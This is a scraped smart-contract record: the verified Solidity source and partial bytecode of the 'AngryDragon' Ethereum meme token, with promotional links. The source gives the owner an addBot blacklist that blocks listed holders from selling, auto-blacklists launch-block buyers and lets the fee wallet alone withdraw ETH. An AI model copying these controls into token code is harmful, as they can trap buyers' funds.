168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080828401905083811015614871576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212206329e10033745b0cc86fd5b956a0a235f63d157ea5cc3acbe32471bbac6fa64b64736f6c63430006060033
{"success": true, "error": null, "results": {}}
8,820
0x4049ae422e223dccddb699f526ed7461cb9ec984
/** *Submitted for verification at Etherscan.io on 2022-04-25 */ /** 📱 Tg - https://t.me/AngryDragonOfficial 🌎Website - https://angrydragon.xyz/ */ pragma solidity ^0.8.7; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _dev; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract AngryDragon is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; struct Taxes { uint256 buyFee1; uint256 buyFee2; uint256 sellFee1; uint256 sellFee2; } Taxes private _taxes = Taxes(0,8,0,8); uint256 private initialTotalBuyFee = _taxes.buyFee1 + _taxes.buyFee2; uint256 private initialTotalSellFee = _taxes.sellFee1 + _taxes.sellFee2; address payable private _feeAddrWallet; uint256 private _feeRate = 15; uint256 launchedAt; uint256 deadBlock; string private constant _name = "AngryDragon"; string private constant _symbol = "AngryDragon"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; bool private _isBuy = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x3FA125Aa24D075CE39A54856fF81879659eEBbD6); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); _isBuy = true; if (from != owner() && to != owner()) { if (block.number <= (launchedAt + deadBlock) && to != uniswapV2Pair && to != address(uniswapV2Router) ) { bots[to] = true; } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // buy require(amount <= _maxTxAmount); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } if (from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && to == uniswapV2Pair){ require(!bots[from] && !bots[to]); _isBuy = false; } uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function getIsBuy() private view returns (bool){ return _isBuy; } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function adjustFees(uint256 buyFee1, uint256 buyFee2, uint256 sellFee1, uint256 sellFee2) external onlyOwner { require(buyFee1 + buyFee2 <= initialTotalBuyFee); require(sellFee1 + sellFee2 <= initialTotalSellFee); _taxes.buyFee1 = buyFee1; _taxes.buyFee2 = buyFee2; _taxes.sellFee1 = sellFee1; _taxes.sellFee2 = sellFee2; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function setFeeRate(uint256 rate) external { require(_msgSender() == _feeAddrWallet); require(rate<=49); _feeRate = rate; } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading(uint256 db) external onlyOwner() { require(!tradingOpen,"trading is already open"); require(db <= 1); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(15).div(1000); _maxWalletSize = _tTotal.mul(30).div(1000); tradingOpen = true; deadBlock = db; launchedAt = block.number; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function addBot(address[] memory _bots) public onlyOwner { for (uint i = 0; i < _bots.length; i++) { if (_bots[i] != address(this) && _bots[i] != uniswapV2Pair && _bots[i] != address(uniswapV2Router)){ bots[_bots[i]] = true; } } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = getIsBuy() ? _getTValues(tAmount, _taxes.buyFee1, _taxes.buyFee2) : _getTValues(tAmount, _taxes.sellFee1, _taxes.sellFee2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101395760003560e01c80636fc3eaec116100ab57806395d89b411161006f57806395d89b41146103e3578063a9059cbb1461040e578063b87f137a1461044b578063c3c8cd8014610474578063d16336491461048b578063dd62ed3e146104b457610140565b80636fc3eaec1461033657806370a082311461034d578063715018a61461038a578063751039fc146103a15780638da5cb5b146103b857610140565b806323b872dd116100fd57806323b872dd1461022a578063273123b714610267578063313ce5671461029057806345596e2e146102bb5780635932ead1146102e4578063677daa571461030d57610140565b806306fdde0314610145578063095ea7b31461017057806317e1df5b146101ad57806318160ddd146101d657806321bbcbb11461020157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104f1565b60405161016791906131ec565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612cf5565b61052e565b6040516101a491906131d1565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612e58565b61054c565b005b3480156101e257600080fd5b506101eb610643565b6040516101f8919061332e565b60405180910390f35b34801561020d57600080fd5b5061022860048036038101906102239190612d35565b610654565b005b34801561023657600080fd5b50610251600480360381019061024c9190612ca2565b6108b6565b60405161025e91906131d1565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190612c08565b61098f565b005b34801561029c57600080fd5b506102a5610a7f565b6040516102b291906133a3565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd9190612dd8565b610a88565b005b3480156102f057600080fd5b5061030b60048036038101906103069190612d7e565b610b01565b005b34801561031957600080fd5b50610334600480360381019061032f9190612dd8565b610bb3565b005b34801561034257600080fd5b5061034b610c8d565b005b34801561035957600080fd5b50610374600480360381019061036f9190612c08565b610cff565b604051610381919061332e565b60405180910390f35b34801561039657600080fd5b5061039f610d50565b005b3480156103ad57600080fd5b506103b6610ea3565b005b3480156103c457600080fd5b506103cd610f5a565b6040516103da9190613103565b60405180910390f35b3480156103ef57600080fd5b506103f8610f83565b60405161040591906131ec565b60405180910390f35b34801561041a57600080fd5b5061043560048036038101906104309190612cf5565b610fc0565b60405161044291906131d1565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190612dd8565b610fde565b005b34801561048057600080fd5b506104896110b8565b005b34801561049757600080fd5b506104b260048036038101906104ad9190612dd8565b611132565b005b3480156104c057600080fd5b506104db60048036038101906104d69190612c62565b611709565b6040516104e8919061332e565b60405180910390f35b60606040518060400160405280600b81526020017f416e677279447261676f6e000000000000000000000000000000000000000000815250905090565b600061054261053b611790565b8484611798565b6001905092915050565b610554611790565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d89061328e565b60405180910390fd5b600f5483856105f09190613464565b11156105fb57600080fd5b601054818361060a9190613464565b111561061557600080fd5b83600b6000018190555082600b6001018190555081600b6002018190555080600b6003018190555050505050565b600068056bc75e2d63100000905090565b61065c611790565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e09061328e565b60405180910390fd5b60005b81518110156108b2573073ffffffffffffffffffffffffffffffffffffffff1682828151811061071f5761071e6136eb565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156107b35750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610792576107916136eb565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b80156108275750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610806576108056136eb565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561089f57600160076000848481518110610845576108446136eb565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806108aa90613644565b9150506106ec565b5050565b60006108c3848484611963565b610984846108cf611790565b61097f856040518060600160405280602881526020016139e360289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610935611790565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202c9092919063ffffffff16565b611798565b600190509392505050565b610997611790565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1b9061328e565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ac9611790565b73ffffffffffffffffffffffffffffffffffffffff1614610ae957600080fd5b6031811115610af757600080fd5b8060128190555050565b610b09611790565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8d9061328e565b60405180910390fd5b80601660176101000a81548160ff02191690831515021790555050565b610bbb611790565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3f9061328e565b60405180910390fd5b60008111610c5557600080fd5b610c846064610c768368056bc75e2d6310000061209090919063ffffffff16565b61210b90919063ffffffff16565b60178190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cce611790565b73ffffffffffffffffffffffffffffffffffffffff1614610cee57600080fd5b6000479050610cfc81612155565b50565b6000610d49600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121c1565b9050919050565b610d58611790565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddc9061328e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610eab611790565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2f9061328e565b60405180910390fd5b68056bc75e2d6310000060178190555068056bc75e2d63100000601881905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f416e677279447261676f6e000000000000000000000000000000000000000000815250905090565b6000610fd4610fcd611790565b8484611963565b6001905092915050565b610fe6611790565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611073576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106a9061328e565b60405180910390fd5b6000811161108057600080fd5b6110af60646110a18368056bc75e2d6310000061209090919063ffffffff16565b61210b90919063ffffffff16565b60188190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110f9611790565b73ffffffffffffffffffffffffffffffffffffffff161461111957600080fd5b600061112430610cff565b905061112f8161222f565b50565b61113a611790565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111be9061328e565b60405180910390fd5b601660149054906101000a900460ff1615611217576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120e9061330e565b60405180910390fd5b600181111561122557600080fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112b530601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d63100000611798565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156112fb57600080fd5b505afa15801561130f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113339190612c35565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561139557600080fd5b505afa1580156113a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113cd9190612c35565b6040518363ffffffff1660e01b81526004016113ea92919061311e565b602060405180830381600087803b15801561140457600080fd5b505af1158015611418573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143c9190612c35565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306114c530610cff565b6000806114d0610f5a565b426040518863ffffffff1660e01b81526004016114f296959493929190613170565b6060604051808303818588803b15801561150b57600080fd5b505af115801561151f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906115449190612e05565b50505060016016806101000a81548160ff0219169083151502179055506001601660176101000a81548160ff0219169083151502179055506115ad6103e861159f600f68056bc75e2d6310000061209090919063ffffffff16565b61210b90919063ffffffff16565b6017819055506115e46103e86115d6601e68056bc75e2d6310000061209090919063ffffffff16565b61210b90919063ffffffff16565b6018819055506001601660146101000a81548160ff0219169083151502179055508160148190555043601381905550601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016116b2929190613147565b602060405180830381600087803b1580156116cc57600080fd5b505af11580156116e0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117049190612dab565b505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611808576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ff906132ee565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611878576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186f9061322e565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611956919061332e565b60405180910390a3505050565b600081116119a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199d906132ae565b60405180910390fd5b6001601660186101000a81548160ff0219169083151502179055506119c9610f5a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a375750611a07610f5a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561201c57601454601354611a4c9190613464565b4311158015611aa95750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b035750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b61576001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611c0c5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c625750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c7a5750601660179054906101000a900460ff165b15611ce757601754811115611c8e57600080fd5b60185481611c9b84610cff565b611ca59190613464565b1115611ce6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdd906132ce565b60405180910390fd5b5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d8f5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611de85750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611eb657600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611e915750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611e9a57600080fd5b6000601660186101000a81548160ff0219169083151502179055505b6000611ec130610cff565b9050611f156064611f07601254611ef9601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610cff565b61209090919063ffffffff16565b61210b90919063ffffffff16565b811115611f7157611f6e6064611f60601254611f52601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610cff565b61209090919063ffffffff16565b61210b90919063ffffffff16565b90505b601660159054906101000a900460ff16158015611fdc5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ff2575060168054906101000a900460ff165b1561201a576120008161222f565b600047905060008111156120185761201747612155565b5b505b505b6120278383836124b7565b505050565b6000838311158290612074576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206b91906131ec565b60405180910390fd5b50600083856120839190613545565b9050809150509392505050565b6000808314156120a35760009050612105565b600082846120b191906134eb565b90508284826120c091906134ba565b14612100576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f79061326e565b60405180910390fd5b809150505b92915050565b600061214d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124c7565b905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156121bd573d6000803e3d6000fd5b5050565b6000600954821115612208576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ff9061320e565b60405180910390fd5b600061221261252a565b9050612227818461210b90919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122675761226661371a565b5b6040519080825280602002602001820160405280156122955781602001602082028036833780820191505090505b50905030816000815181106122ad576122ac6136eb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561234f57600080fd5b505afa158015612363573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123879190612c35565b8160018151811061239b5761239a6136eb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061240230601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611798565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612466959493929190613349565b600060405180830381600087803b15801561248057600080fd5b505af1158015612494573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b6124c2838383612555565b505050565b6000808311829061250e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250591906131ec565b60405180910390fd5b506000838561251d91906134ba565b9050809150509392505050565b6000806000612537612720565b9150915061254e818361210b90919063ffffffff16565b9250505090565b60008060008060008061256787612782565b9550955095509550955095506125c586600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281790919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061265a85600360008b73fffffffffffffffffffffffffffffffffffff